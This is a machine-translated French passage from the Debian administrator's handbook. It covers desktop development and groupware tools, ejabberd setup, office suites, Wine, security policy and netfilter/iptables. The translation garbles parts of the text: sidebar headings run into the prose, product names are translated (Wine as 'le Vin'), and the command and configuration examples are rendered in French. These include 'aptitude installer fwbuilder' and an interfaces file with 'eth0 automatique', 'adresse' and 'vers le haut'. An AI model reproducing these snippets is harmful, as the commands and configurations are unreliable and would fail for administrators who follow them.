graphiques GTK+ pour GNOME et les enregistrer dans un fichier XML. Ces fichiers XML peuvent ensuite être
chargés par la bibliothèque partagée libglade , qui peut recréer dynamiquement les interfaces enregistrées ; une
telle fonctionnalité peut être intéressante, par exemple pour les plugins nécessitant des dialogues.

L'objectif d'Anjuta est de combiner, de manière modulaire, toutes les fonctionnalités que l'on peut attendre d'un
environnement de développement intégré.

[Link]. Outils pour Qt sur KDE

Les applications équivalentes pour KDE sont KDevelop (dans le package kdevelop ) pour l'environnement de
développement et Qt Designer (dans les packages qt3­designer ou qt4­designer ) pour la conception d'interfaces
graphiques pour les applications Qt sur KDE.

Chapitre 13 — Poste de travail 365

Machine Translated by Google

Les prochaines versions de ces applications devraient être mieux intégrées entre elles, grâce au système de
composants KParts.

13.4.4. Travail collaboratif

[Link]. Travailler en groupe : le groupware

Une édition précédente de ce livre mentionnait PHPGroupware, mais ce logiciel n'est plus dans De­bian… Il
n'est plus activement maintenu, et aucune version existante n'était compatible avec la version 5.3 de PHP incluse
dans Debian Squeeze, c'est pourquoi le responsable Debian a demandé pour que le package soit supprimé.

[Link]

eGroupware a également été mentionné, mais il a également suivi le chemin de PHPGroupware, mais pour des
raisons différentes. Le logiciel est toujours maintenu par l'entreprise qui le développe, mais aucun bénévole ne
s'est mobilisé pour assurer sa maintenance au sein de Debian. Si vous souhaitez toujours l'utiliser, le projet lui­
même fournit des packages Debian.

[Link]
Cependant tout n'est pas perdu. De nombreuses fonctionnalités traditionnellement fournies par les logiciels
« groupware » sont de plus en plus intégrées dans les logiciels « standards ». Cela réduit le besoin de logiciels
de groupware spécifiques et spécialisés. En revanche, cela nécessite généralement un serveur spécifique. Un
bon exemple d'un tel serveur est Kolab, qui peut s'intégrer dans KDE (Kontact, Kmail, etc.), le webmail Horde,
Thunderbird (via un plugin) et même dans Microsoft Outlook. Kolab fait partie de Debian Squeeze (paquets
kolab* ).

[Link]

[Link]. Systèmes de messagerie instantanée

Lors de la mise en place d'une messagerie instantanée interne à une entreprise, le choix évident se porte sur
Jab­ber : son protocole est un standard ouvert (XMPP), et les fonctionnalités ne manquent pas. Les messages
peuvent être cryptés, ce qui peut être un véritable plus, et des passerelles peuvent être mises en place entre un
serveur Jabber et d'autres réseaux de messagerie instantanée comme ICQ, GAIM, Yahoo, MSN, etc.

ALTERNATIVE IRC peut également être envisagé, à la place de Jabber. Ce système est davantage centré
Chat de relais Internet autour de la notion de chaînes dont le nom commence par un dièse #. Chaque chaîne est
généralement ciblée sur un sujet spécifique et un nombre illimité de personnes peuvent
rejoindre une chaîne pour en discuter (mais les utilisateurs peuvent toujours avoir des
conversations privées en tête­à­tête si nécessaire). Le protocole IRC est plus ancien et ne
permet pas le chiffrement de bout en bout des messages ; il est toujours possible de chiffrer
les communications entre les utilisateurs et le serveur en tunnelant le protocole IRC à l'intérieur
de SSL.

Les clients IRC sont un peu plus complexes et fournissent généralement de nombreuses
fonctionnalités d'une utilité limitée dans un environnement d'entreprise. Par exemple, le canal « op­

366 Le manuel de l'administrateur Debian

Machine Translated by Google

Les « érateurs » sont des utilisateurs dotés de la capacité d’expulser d’autres utilisateurs
d’une chaîne, voire de les bannir définitivement, lorsque la discussion normale est perturbée.

Le protocole IRC étant très ancien, de nombreux clients sont disponibles pour répondre à de
nombreux groupes d'utilisateurs ; les exemples incluent XChat et Smuxi (clients graphiques
basés sur GTK+), Irssi (mode texte), Erc (intégré à Emacs), Chatzilla (dans la suite logicielle
Mozilla), etc.

COUP D'OEIL Ekiga (anciennement GnomeMeeting) est l'application la plus importante pour la
Visioconférence avec visioconférence Linux. Il est à la fois stable et fonctionnel, et s’utilise très facilement sur un
Ékiga réseau local ; La mise en place du service sur un réseau mondial est beaucoup plus complexe
lorsque les pare­feux impliqués ne prennent pas en charge explicitement les protocoles de
téléconférence H323 et/ou SIP avec toutes leurs bizarreries.

Si un seul client Ekiga doit s'exécuter derrière le pare­feu, la configuration est assez simple
et ne nécessite de rediriger que quelques ports vers l'hôte dédié : port TCP 1720 (à l'écoute
des connexions entrantes), port TCP 5060 (pour SIP), ports TCP 30000 à 30010 (pour le
contrôle des connexions ouvertes) et ports UDP 5000 à 5013 (pour la transmission de
données audio et vidéo et l'enregistrement sur un proxy H323).

Lorsque plusieurs clients Ekiga doivent fonctionner derrière le pare­feu, la complexité

augmente considérablement. Un proxy H323 (par exemple le package gnugk) doit être mis
en place, et sa configuration est loin d'être simple.

Configuration du serveur La configuration d'un serveur Jabber est plutôt simple. Après avoir installé le
package ejabberd , l'exécution de dpkg­reconfigure ejabberd permettra de personnaliser le domaine par
défaut et de créer un compte administrateur. Notez que le serveur Jabber a besoin d'un nom DNS valide
pour pointer vers lui, donc une certaine administration réseau peut être requise au préalable. Les
administrateurs de Fal­cot Corp ont choisi [Link] à cette fin.

Une fois cette configuration initiale terminée, la configuration du service peut être contrôlée via une interface
Web accessible à l' adresse h p://[Link]/admin/. Le nom d'utilisateur et le mot de passe
demandés sont ceux qui ont été donnés précédemment lors de la configuration initiale. Notez que le nom
d'utilisateur doit être qualifié avec le domaine configuré : le compte admin devient admin@jabber. [Link].

L'interface Web supprime le besoin d'éditer un fichier de configuration, mais ne facilite pas toujours la tâche,
car de nombreuses options ont une syntaxe particulière qu'il faut connaître. /usr/share/doc/ejabberd/
[Link] est donc une lecture recommandée.

Clients Jabber GNOME fournit Empathy (dans le package du même nom), un client minimaliste qui s'intègre
dans la zone de notification du bureau (dans le coin supérieur droit dans la configuration GNOME par
défaut). Il prend également en charge de nombreux protocoles de messagerie instantanée au­delà de Jabber.

KDE fournit Kopete (dans le package [Link] ).

Chapitre 13 — Poste de travail 367

Machine Translated by Google

[Link]. Travail collaboratif avec FusionForge

FusionForge est un outil de développement collaboratif issu de SourceForge, un service d'hébergement de projets de logiciels
libres. Il adopte la même approche globale basée sur le modèle de développement standard du logiciel libre. Le logiciel lui­
même a continué à évoluer après que le code SourceForge soit devenu propriétaire. Ses premiers auteurs, VA Software, ont
décidé de ne plus publier de versions gratuites. La même chose s'est produite à nouveau lorsque la première bifurcation
(GForge) a suivi le même chemin. Étant donné que diverses personnes et organisations ont participé au développement,
FusionForge actuel comprend également des fonctionnalités ciblant une approche plus traditionnelle du développement,
ainsi que des projets qui ne concernent pas uniquement le développement de logiciels.

FusionForge peut être vu comme une fusion de plusieurs outils dédiés à la gestion, au suivi et à la coordination de projets.
Ces outils peuvent être grossièrement classés en trois familles :

• communication : forums web, gestionnaire de mailing­list, système d'annonce permettant à un projet de publier des
actualités ;

• suivi : suivi des tâches pour contrôler la progression et planifier les tâches, suivi des bugs (ou des correctifs ou des
demandes de fonctionnalités, ou tout autre type de « ticket »), enquêtes ;

• partage : gestionnaire de documentation pour fournir un point central unique pour les documents liés à un projet,
gestionnaire de versions de fichiers génériques, site internet dédié à chaque projet.

Puisque FusionForge cible largement les projets de développement, il intègre également de nombreux outils tels que CVS,
Subversion, Git, Bazaar, Darcs, Mercurial et Arch pour la gestion du contrôle de source ou « gestion de configuration » ou
« contrôle de version » — ce processus porte de nombreux noms. Ces programmes conservent un historique de toutes les
révisions de tous les fichiers suivis (souvent des fichiers de code source), avec toutes les modifications qu'ils subissent, et ils
peuvent fusionner les modifications lorsque plusieurs développeurs travaillent simultanément sur la même partie d'un projet.

La plupart de ces outils sont accessibles, voire gérés, via une interface Web, avec un système d'autorisations précis et des
notifications par courrier électronique pour certains événements.

13.4.5. Suites bureautiques

Les logiciels bureautiques ont longtemps été considérés comme manquant dans le monde du logiciel libre. Les utilisateurs
demandent depuis longtemps des remplacements pour les outils Microsoft tels que Word et Excel, mais ceux­ci sont si
complexes qu'il a été difficile de les remplacer. La situation a changé avec le démarrage du projet [Link] (suite à la
publication par Sun du code StarOffice sous licence libre). Les projets GNOME et KDE travaillent toujours sur leurs offres
(GNOME Office et KOffice), et la compétition amicale conduit à des résultats intéressants. Par exemple, le tableur Gnumeric
(qui fait partie de GNOME Office) est encore meilleur qu'[Link] dans certains domaines, notamment la précision de
ses calculs. Côté traitement de texte, la suite [Link] reste toujours en tête.

Une autre fonctionnalité importante pour les utilisateurs est la possibilité d'importer des documents Word et Excel reçus des
contacts ou trouvés dans les archives. Même si toutes les suites bureautiques disposent de filtres qui permettent de travailler

368 Le manuel de l'administrateur Debian

Machine Translated by Google

Selon ces formats, seuls ceux trouvés dans [Link] sont suffisamment fonctionnels pour un usage quotidien.
utiliser.

LA VUE PLUS LARGE Les contributeurs d'[Link] ont créé une fondation (The Document Foundation) pour
Libre Office remplace favoriser le développement de projets. L'idée était discutée depuis un certain temps, mais le

[Link] véritable déclencheur a été l'acquisition de Sun par Oracle. Le nouveau propriétaire a rendu
incertain l'avenir d'OpenOffice sous Oracle. Depuis qu'Oracle a refusé de rejoindre la fondation,
les développeurs ont dû renoncer au nom OpenOf­[Link]. Le logiciel est désormais connu
sous le nom de Libre Office.

Ces changements sont intervenus après le gel de Debian Squeeze, ce qui explique pourquoi les
dépôts contiennent toujours [Link]… mais Libre Office est déjà disponible dans le
dépôt de paquets [Link], ainsi que dans les versions plus récentes de Debian.

[Link], KOffice et GNOME Office sont respectivement disponibles dans les packages Debian [Link],
koffice et gnome­office . Les packs spécifiques à une langue pour [Link] sont distribués dans des packages
distincts : [Link]­l10n­*, [Link]­help­* et [Link]­spellcheck­* (qui peut être un package virtuel
fourni par myspell­* ).

13.5. Émulation de Windows : Wine

Malgré tous les efforts mentionnés précédemment, il existe encore un certain nombre d'outils sans équivalent Linux,
ou pour lesquels la version originale est absolument requise. C'est là que les systèmes d'émulation Windows
s'avèrent utiles. Le plus connu d’entre eux est le Vin.

[Link]

COMPLÉMENTS CrossOver, produit par CodeWeavers, est un ensemble d'améliorations apportées à Wine qui
Croisé Linux élargissent l'ensemble des fonctionnalités émulées disponibles au point où Microso Office
devient pleinement utilisable. Certaines des améliorations sont périodiquement fusionnées dans
Wine.

[Link]

Cependant, il faut garder à l'esprit qu'il ne s'agit que d'une solution parmi d'autres, et que le problème peut également
être résolu avec une machine virtuelle ou VNC ; ces deux solutions sont détaillées dans les encadrés latéraux.

Commençons par un rappel : l'émulation permet d'exécuter un programme (développé pour un système cible) sur
un système hôte différent. Le logiciel d'émulation utilise le système hôte, sur lequel l'application s'exécute, pour
imiter les fonctionnalités requises du système cible.

La manière la plus simple d'utiliser Wine est d'utiliser une instance de Microsoft Windows déjà installée sur une
partition existante (ce qui sera le cas sur les machines en dual­boot avec ce système). Lorsqu'aucune version
installée de Windows n'est disponible, Wine fonctionne de manière moins complète et moins de programmes
pourront s'exécuter.

Chapitre 13 — Poste de travail 369

Machine Translated by Google

La partition Windows doit d'abord être montée (par exemple sous /windows/), et l' utilisateur wine doit avoir un
accès en lecture et en écriture. L'entrée fstab suivante accorde cet accès à tous les utilisateurs :

/dev/hda1 /windows fat defaults,uid=1000,gid=100,umask=002,nls=iso8859­1 0 0

Installons maintenant les packages requis :

# apt­get install wine ttf­mscorefonts­installer wine­doc

L'utilisateur doit ensuite exécuter winecfg et configurer /windows/ pour qu'il soit utilisé comme lecteur C:. Les autres
paramètres peuvent être conservés à leurs valeurs par défaut. L'exécution de programmes Windows devient alors
une simple question d'exécution de wine /windows/.../[Link].

Notez que vous ne devez pas vous fier à Wine (ou à des solutions similaires) sans réellement tester le logiciel
particulier : seul un test d'utilisation réelle déterminera de manière concluante si l'émulation est pleinement
fonctionnelle.

ALTERNATIVE Une alternative à l'émulation du système d'exploitation de Microso consiste à l'exécuter sur une
Machines virtuelles machine virtuelle qui émule une machine matérielle complète. Cela permet d’exécuter n’importe
quel système d’exploitation. Le chapitre 12, Administration avancée (page 298) décrit plusieurs
systèmes de virtualisation, notamment Xen et KVM (mais aussi QEMU, VMWare et Bochs).

ALTERNATIVE Une autre possibilité consiste à exécuter à distance les applications Windows héritées sur un
Windows Terminal Server ou serveur central avec Windows Terminal Server et à accéder à l'application à partir de machines
VNC Linux à l'aide de rdesktop. Il s'agit d'un client Linux pour le protocole RDP (Remote Desktop
Protocol) que Windows NT/2000 Terminal Server utilise pour afficher les bureaux sur les
machines distantes.

Le logiciel VNC offre des fonctionnalités similaires, avec l'avantage supplémentaire de fonctionner
également avec de nombreux systèmes d'exploitation. Les clients et serveurs Linux VNC sont
décrits dans la Section 9.2, « Connexion à distance » (page 188).

370 Le manuel de l'administrateur Debian

Machine Translated by Google
Machine Translated by Google

Mots clés
Pare­feu
Filtre réseau
IDS/NIDS
Machine Translated by Google

Chapitre

Sécurité14
Contenu

Définir une politique de sécurité 374 Pare­feu ou filtrage de paquets 376

Supervision : Prévention, Détection, Dissuasion 382 Introduction à SELinux 388

Autres considérations liées à la sécurité 400 Gérer une machine compromise 404

Un système d’information peut avoir un niveau d’importance variable selon l’environnement. Dans certains
cas, cela est vital pour la survie d’une entreprise. Il faut donc
protégé contre divers types de risques. Le processus d’évaluation de ces risques, définissant
et la mise en œuvre de la protection est collectivement connue sous le nom de « processus de sécurité ».
Machine Translated by Google

14.1. Définir une politique de sécurité

PRUDENCE La sécurité est un sujet vaste et très sensible, nous ne pouvons donc pas prétendre le
Portée de ce chapitre décrire de manière globale dans le cadre d’un seul chapitre.
Nous nous contenterons de souligner quelques points importants et de décrire certains des
outils et méthodes qui peuvent être utiles dans le domaine de la sécurité. Pour aller plus
loin, la littérature abonde et des livres entiers ont été consacrés au sujet. Un excellent point
de départ serait Linux Server Security de Michael D. Bauer (publié par O'Reilly).

Le mot « sécurité » lui­même recouvre une vaste gamme de concepts, d’outils et de procédures, dont aucun ne s’applique
universellement. Choisir parmi eux nécessite d’avoir une idée précise de vos objectifs. Sécuriser un système commence par
répondre à quelques questions. Se précipiter dans la mise en œuvre d’un ensemble arbitraire d’outils risque de se concentrer
sur les mauvais aspects de la sécurité.

La toute première chose à déterminer est donc le but. Une bonne approche pour aider à cette détermination commence par
les questions suivantes :

• Qu'essayons ­nous de protéger ? La politique de sécurité sera différente selon que l'on souhaite protéger les
ordinateurs ou les données. Dans ce dernier cas, nous devons également savoir quelles données.

• Contre quoi essayons­nous de nous protéger ? S'agit­il d'une fuite de données confidentielles ? Données accidentelles
perte? Perte de revenus causée par une interruption du service ?

• De plus, contre qui essayons­nous de nous protéger ? Les mesures de sécurité seront très différentes pour se prémunir
contre une faute de frappe d'un utilisateur régulier du système et pour se protéger contre un groupe d'attaquants
déterminé.

Le terme « risque » est habituellement utilisé pour désigner collectivement ces trois facteurs : ce qu’il faut protéger, ce qu’il
faut empêcher et qui tentera de faire en sorte que cela se produise. La modélisation du risque nécessite de répondre à ces
trois questions. À partir de ce modèle de risque, une politique de sécurité peut être construite et cette politique peut être mise
en œuvre par des actions concrètes.

NOTE Bruce Schneier, un expert mondial en matière de sécurité (et pas seulement de sécurité
Remise en question permanente informatique), tente de contrer l'un des mythes les plus importants de la sécurité avec un
slogan : « La sécurité est un processus, pas un produit ». Les actifs à protéger évoluent
avec le temps, tout comme les menaces et les moyens dont disposent les agresseurs
potentiels. Même si une politique de sécurité a été initialement parfaitement conçue et
mise en œuvre, il ne faut jamais se reposer sur ses lauriers. Les composantes du risque
évoluent et la réponse à ce risque doit évoluer en conséquence.

Des contraintes supplémentaires méritent également d’être prises en compte, car elles peuvent restreindre l’éventail des
polices disponibles. Jusqu’où sommes­nous prêts à aller pour sécuriser un système ? Cette question a un impact majeur sur
la politique à mettre en œuvre. La réponse est trop souvent définie uniquement en termes de coûts monétaires,

374 Le manuel de l'administrateur Debian

Machine Translated by Google

mais les autres éléments doivent également être pris en compte, comme l'ampleur des inconvénients imposés
sur les utilisateurs du système ou la dégradation des performances.

Une fois le risque modélisé, on peut commencer à réfléchir à la conception d’une véritable politique de sécurité.

NOTE Il existe des cas où le choix des actions requises pour sécuriser un système est

Politiques extrêmes extrêmement simple.

Par exemple, si le système à protéger ne comprend qu'un ordinateur d'occasion dont le seul usage est
d'ajouter quelques numéros en fin de journée, décider de ne rien faire de particulier pour le protéger
serait assez raisonable. Le
La valeur intrinsèque du système est faible. La valeur des données est nulle puisqu'elles
ne sont pas stockés sur l’ordinateur. Un attaquant potentiel infiltrant ce « système »
ne gagnerait qu'une calculatrice encombrante. Le coût de la sécurisation d’un tel système
serait probablement supérieur au coût d’une violation.

À l’autre extrémité du spectre, nous souhaiterions peut­être protéger la confidentialité

de données secrètes de la manière la plus complète possible, surpassant tout autre
considération. Dans ce cas, une réponse appropriée serait la destruction totale de ces données
(effacement sécurisé des fichiers, déchiquetage des disques durs).
en morceaux, puis dissolution de ces morceaux dans de l'acide, et ainsi de suite). S'il y a un supplément
l'exigence selon laquelle les données doivent être conservées en stock pour une utilisation future (bien qu'elles ne
soient pas nécessairement facilement disponibles), et si le coût n'est toujours pas un facteur, alors un point de départ
stockerait les données sur des plaques d'alliage iridium­platine stockées dans des bunkers à l'épreuve
des bombes sous diverses montagnes du monde, chacune étant (de
bien sûr) à la fois entièrement secrets et gardés par des armées entières…

Aussi extrêmes que puissent paraître ces exemples, ils constitueraient néanmoins une réponse
adéquate à des risques définis, dans la mesure où ils sont le fruit d'une réflexion.
processus qui prend en compte les objectifs à atteindre et les contraintes à remplir.
Issu d’une décision motivée, aucune politique de sécurité n’est moins respectable
que tout autre.

Dans la plupart des cas, le système d'information peut être segmenté en éléments cohérents et pour la plupart indépendants.
sous­ensembles. Chaque sous­système aura ses propres exigences et contraintes, et donc l'évaluation des risques et la
conception de la politique de sécurité doivent être entreprises séparément pour chacun. Un bien
Le principe à garder à l'esprit est qu'un périmètre court et bien défini est plus facile à défendre qu'un
frontière longue et sinueuse. L'organisation du réseau doit également être conçue en conséquence : le
les services sensibles doivent être concentrés sur un petit nombre de machines, et ces machines
ne devrait être accessible que via un nombre minimal de points de contrôle ; sécuriser ces points de contrôle
sera plus facile que de sécuriser toutes les machines sensibles contre l’intégralité du monde extérieur.
C’est à ce stade que l’utilité du filtrage du réseau (y compris par les pare­feu) devient apparente. Ce filtrage peut être
implémenté avec du matériel dédié, mais une solution éventuellement plus simple et
Une solution plus flexible consiste à utiliser un pare­feu logiciel tel que celui intégré au noyau Linux.

Chapitre 14 — Sécurité 375

Machine Translated by Google

14.2. Pare­feu ou filtrage de paquets

RETOUR AUX SOURCES Un pare­feu est un équipement informatique doté d'un matériel et/ou d'un logiciel qui trie les paquets
Pare­feu réseau entrants ou sortants (en provenance ou à destination d'un réseau local) et ne laisse passer que
ceux répondant à certaines conditions prédéfinies.

Un pare­feu est une passerelle réseau filtrante et n'est efficace que sur les paquets qui doivent le traverser. Par
conséquent, cela ne peut être efficace que lorsque le passage par le pare­feu est la seule route pour ces paquets.

L'absence de configuration standard (et la devise « processus, pas produit ») explique l'absence de solution clé en
main. Il existe cependant des outils qui simplifient la configuration du pare­feu netfilter , avec une représentation
graphique des règles de filtrage. fwbuilder est sans aucun doute parmi les meilleurs d’entre eux.

CAS PARTICULIER Un pare­feu peut être restreint à une machine particulière (par opposition à un réseau complet), auquel
Pare­feu local cas son rôle est de filtrer ou de limiter l'accès à certains services, ou éventuellement d'empêcher les
connexions sortantes par des logiciels malveillants qui pourraient l'utilisateur aurait pu, volontairement
ou non, l'avoir installé.

Le noyau Linux 2.6 embarque le pare­feu netfilter . Il peut être contrôlé depuis l'espace utilisateur avec les commandes
iptables et ip6tables . La différence entre ces deux commandes est que la première agit sur le réseau IPv4, tandis que
la seconde agit sur IPv6. Étant donné que les deux piles de protocoles réseau existeront probablement pendant de
nombreuses années, les deux outils devront être utilisés en parallèle.

14.2.1. Comportement de Netfilter

netfilter utilise quatre tables distinctes qui stockent des règles régissant trois types d'opérations sur les packs.
ets :

• le filtre concerne les règles de filtrage (accepter, refuser ou ignorer un paquet) ;

• nat concerne la traduction des adresses et des ports d'origine ou de destination des colis ; note
que ce tableau n'existe que pour IPv4 ;

• mangle concerne d'autres modifications des paquets IP (y compris le ToS — Type of Service —
champ et options) ;

• raw permet d'autres modifications manuelles sur les paquets avant qu'ils n'atteignent la connexion
système de pistage.

Chaque table contient des listes de règles appelées chaînes. Le pare­feu utilise des chaînes standard pour gérer les
paquets en fonction de circonstances prédéfinies. L'administrateur peut créer d'autres chaînes, qui ne seront utilisées
que lorsqu'elles seront référencées par l'une des chaînes standards.
La table de filtres comporte trois chaînes standards :

376 Le manuel de l'administrateur Debian

Machine Translated by Google

• INPUT : concerne les paquets dont la destination est le pare­feu lui­même ;

• OUTPUT : concerne les paquets émis par le pare­feu ;

• FORWARD : concerne les paquets transitant par le pare­feu (qui n'est ni leur
source ni leur destination).

La table nat dispose également de trois chaînes standards :

• PREROUTING : pour modifier les paquets dès leur arrivée ;

• POSTROUTING : pour modifier les paquets lorsqu'ils sont prêts à partir ;

• SORTIE : pour modifier les paquets générés par le pare­feu lui­même.

Figure 14.1 Comment sont appelées les chaînes netfilter

Chaque chaîne est une liste de règles ; chaque règle est un ensemble de conditions et une action à exécuter lorsque le
les conditions sont remplies. Lors du traitement d'un paquet, le pare­feu scanne la chaîne appropriée, une règle
après un autre; lorsque les conditions d'une règle sont remplies, elle "saute" (d'où l' option ­j dans le
commandes) à l’action spécifiée pour poursuivre le traitement. Les comportements les plus courants sont
des actions standardisées et dédiées existent pour eux. Réaliser l'une de ces actions standards interrompt le traitement de
la chaîne, puisque le sort du paquet est déjà scellé (sauf exception).
mentionné ci­dessous):

RETOUR AUX SOURCES ICMP (Internet Control Message Protocol) est le protocole utilisé pour transmettre des informations
ICMP complémentaires sur les communications. Il permet de tester la connectivité réseau avec la commande
ping (qui envoie un message de demande d'écho ICMP, auquel le destinataire est censé répondre par
un message de réponse d'écho ICMP). Il signale qu'un pare­feu rejette un paquet, indique un
débordement dans une réception
tampon, propose une meilleure route pour les prochains paquets de la connexion, et ainsi
sur. Ce protocole est défini par plusieurs documents RFC ; la RFC777 initiale et
Les RFC792 furent bientôt complétées et étendues.

Chapitre 14 — Sécurité 377

Machine Translated by Google

[Link]
[Link]

Pour référence, un tampon de réception est une petite zone mémoire stockant les données entre le
moment où elles arrivent du réseau et le moment où le noyau les gère. Si cette zone est pleine, de
nouvelles données ne peuvent pas être reçues et ICMP signale le problème, de sorte que l'émetteur
peut ralentir son taux de transfert (qui devrait idéalement atteindre un équilibre après un certain
temps).

Notez que même si un réseau IPv4 peut fonctionner sans ICMP, ICMPv6 est strictement requis
pour un réseau IPv6, car il combine plusieurs fonctions qui étaient, dans le monde IPv4, réparties
entre ICMPv4, IGMP (Internet Group Membership Protocol) et ARP (Address Protocole de
résolution). ICMPv6 est défini dans la RFC4443.

[Link]

• ACCEPTER : permet au paquet de poursuivre son chemin ;

• REJECT : rejette le paquet avec un paquet d'erreur ICMP (l' option ­­reject­with type d' iptables permet de sélectionner
le type d'erreur) ;

• DROP : supprime (ignore) le paquet ;

• LOG : journalise (via syslogd) un message avec une description du paquet ; notez que cette action n'interrompt pas le
traitement et que l'exécution de la chaîne continue à la règle suivante, c'est pourquoi la journalisation des paquets
refusés nécessite à la fois une règle LOG et une règle REJECT/DROP ;

• ULOG : enregistre un message via ulogd, qui peut être mieux adapté et plus efficace que syslogd pour gérer un grand
nombre de messages ; notez que cette action, comme LOG, renvoie également le traitement à la règle suivante dans
la chaîne appelante ;

• chain_name : saute vers la chaîne donnée et évalue ses règles ;

• RETURN : interrompt le traitement de la chaîne en cours, et retourne à la chaîne appelante ; dans le cas où la chaîne
actuelle est standard, il n'y a pas de chaîne d'appel, donc l'action par défaut (définie avec l' option ­P d' iptables) est
exécutée à la place ;

• SNAT (uniquement dans la table nat , donc uniquement en IPv4) : appliquer Source NAT (options supplémentaires
écrire les changements exacts à appliquer);

• DNAT (uniquement dans la table nat , donc uniquement en IPv4) : appliquer Destination NAT (options supplémentaires
décrire les changements exacts à appliquer);

• MASQUERADE (uniquement dans la table nat , donc uniquement en IPv4) : appliquer le masquage (cas particulier du
Source NAT) ;

• REDIRECT (uniquement dans la table nat , donc uniquement en IPv4) : rediriger un paquet vers un port donné du
firewall lui­même ; cela peut être utilisé pour mettre en place un proxy web transparent qui fonctionne sans configuration
côté client, puisque le client pense se connecter au destinataire alors que les communications passent en réalité par
le proxy.

378 Le manuel de l'administrateur Debian

Machine Translated by Google

D'autres actions, notamment celles concernant la table mangle , sortent du cadre de ce texte.
Les iptables(8) et ip6tables(8) ont une liste complète.

14.2.2. Syntaxe de iptables et ip6tables

Les commandes iptables et ip6tables permettent de manipuler des tables, des chaînes et des règles. Leur
option ­t table indique sur quelle table opérer (par défaut, filtrer).

[Link]. Commandes

L' option de chaîne ­N crée une nouvelle chaîne. La chaîne ­X supprime une chaîne vide et inutilisée.
La règle de chaîne ­A ajoute une règle à la fin de la chaîne donnée. L' option ­I chain Rule_numrule insère
une règle avant la règle numberrule_num. L' option ­D chainrule_num (ou ­D chainrule) supprime une règle
dans une chaîne ; la première syntaxe identifie la règle à supprimer par son numéro, tandis que la seconde
l'identifie par son contenu. L' option de chaîne ­F vide une chaîne (supprime toutes ses règles) ; si aucune
chaîne n'est mentionnée, toutes les règles du tableau sont supprimées. L' option de chaîne ­L répertorie les
règles de la chaîne. Enfin, l' option ­P chainaction définit l'action par défaut, ou « politique », pour une chaîne
donnée ; notez que seules les chaînes standards peuvent avoir une telle politique.

[Link]. Règles

Chaque règle est exprimée sous la forme conditions ­j actionaction_options. Si plusieurs conditions sont
décrites dans la même règle, alors le critère est la conjonction (logique et) des conditions, qui est au
moins aussi restrictive que chaque condition individuelle.

La condition de protocole ­p correspond au champ de protocole du paquet IP. Les valeurs les plus courantes
sont TCP, UDP, ICMP et ICMPV6. Préfixer la condition avec un point d'exclamation annule la condition, qui
devient alors une correspondance pour « tout paquet avec un protocole différent de celui spécifié ». Ce
mécanisme de négation n'est pas spécifique à l' option ­p et peut également être appliqué à toutes les autres
conditions.

L' adresse ­s ou la condition réseau/masque ­s correspond à l'adresse source du paquet. En conséquence,

­d adresse ou ­d réseau/masque correspond à l'adresse de destination.

La condition d'interface ­i sélectionne les paquets provenant de l'interface réseau donnée. ­o interface
sélectionne les paquets sortant sur une interface spécifique.

Il existe des conditions plus spécifiques, en fonction des conditions génériques décrites ci­dessus. Par
exemple, la condition ­p tcp peut être complétée par des conditions sur les ports TCP, avec des clauses telles
que ­­source­port port et ­­destination­port port.

La condition d'état ­­state correspond à l'état d'un paquet dans une connexion (cela nécessite le module
noyau ipt_c onntrack , pour le suivi de la connexion). L' état NEW décrit un paquet démarrant une nouvelle
connexion ; ESTABLISHED correspond aux paquets appartenant à une connexion déjà existante, et
RELATED correspond aux paquets initiant une nouvelle connexion liée à une connexion existante (ce qui est
utile pour les connexions p­data dans le mode « actif » du protocole FTP).

Chapitre 14 — Sécurité 379

Machine Translated by Google

La section précédente répertorie les actions disponibles, mais pas leurs options respectives. L' action LOG ,
par exemple, propose les options suivantes :

• ­­log­priority, avec la valeur par défaut d'avertissement, indique la priorité du message Syslog ;

• ­­log­prefix permet de spécifier un préfixe de texte pour différencier les messages enregistrés ;

• ­­log­tcp­sequence, ­­log­tcp­options et ­­log­ip­options indiquent des données supplémentaires à intégrer

dans le message : respectivement, le numéro de séquence TCP, les options TCP et les options IP.

L' action DNAT (disponible uniquement pour IPv4) fournit l' option ­­to­destination address:port pour indiquer la
nouvelle adresse IP et/ou le nouveau port de destination. De même, SNAT fournit ­­to­source address:port pour
indiquer la nouvelle adresse IP et/ou le nouveau port source.

L'action REDIRECT (disponible uniquement pour IPv4) fournit l' option ­­to­ports port(s) pour indiquer le port,
ou la plage de ports, où les paquets doivent être redirigés.

14.2.3. Création de règles

Chaque création de règle nécessite un appel de iptables/ip6tables. Taper ces commandes manuellement peut
être fastidieux, c'est pourquoi les appels sont généralement stockés dans un script afin que la même
configuration soit configurée automatiquement à chaque démarrage de la machine. Ce script peut être écrit à
la main, mais il peut aussi être intéressant de le préparer avec un outil de haut niveau tel que fwbuilder.

Le principe est simple. Dans un premier temps, il faut décrire tous les éléments qui seront impliqués dans les
règles elles­mêmes :

• le pare­feu lui­même, avec ses interfaces réseau ;

• les réseaux, avec leurs plages IP correspondantes ;

• les serveurs ;

• les ports appartenant aux services hébergés sur les serveurs.

Les règles sont ensuite créées par de simples actions de glisser­déposer sur les objets. Quelques menus
contextuels peuvent modifier la condition (l'annuler, par exemple). Ensuite, l'action doit être choisie et configurée.

En ce qui concerne IPv6, on peut soit créer deux jeux de règles distincts pour IPv4 et IPv6, soit en créer un
seul et laisser fwbuilder traduire les règles en fonction des adresses attribuées aux objets.

380 Le manuel de l'administrateur Debian

Machine Translated by Google

Figure 14.2 Fenêtre principale de Fwbuilder

fwbuilder peut alors générer un script configurant le pare­feu selon les règles qui ont été
définies. Son architecture modulaire lui donne la possibilité de générer des scripts ciblant
différents systèmes (iptables pour Linux 2.4/2.6, ipf pour FreeBSD et pf pour OpenBSD).
Les versions du package fwbuilder depuis Squeeze contiennent à la fois l'interface graphique et les modules pour
chaque système de pare­feu (ceux­ci étaient auparavant répartis sur plusieurs packages, un pour chaque système
cible) :

# aptitude installer fwbuilder

14.2.4. Installation des règles à chaque démarrage

Si le pare­feu est destiné à protéger une connexion réseau PPP intermittente, le moyen le plus simple de déployer
le script est de l'installer sous /etc/ppp/ip­up.d/0iptables (notez que seuls les fichiers sans point dans leur nom sont
pris en compte). en compte). Le pare­feu sera ainsi rechargé à chaque fois qu'une connexion PPP sera établie.

Dans d'autres cas, la méthode recommandée consiste à enregistrer le script de configuration dans une directive up

Chapitre 14 — Sécurité 381

Machine Translated by Google

du fichier /etc/network/interfaces . Dans l'exemple suivant, le script est stocké sous /usr/local/etc/[Link].

eth0 automatique

iface eth0 inet statique

adresse [Link]
réseau [Link]
masque de réseau [Link]
diffusion [Link]

vers le haut /usr/local/etc/[Link]

Exemple 14.1 : fichier d'interface appelant un script de pare­feu

14.3. Supervision : Prévention, Détection, Dissuasion

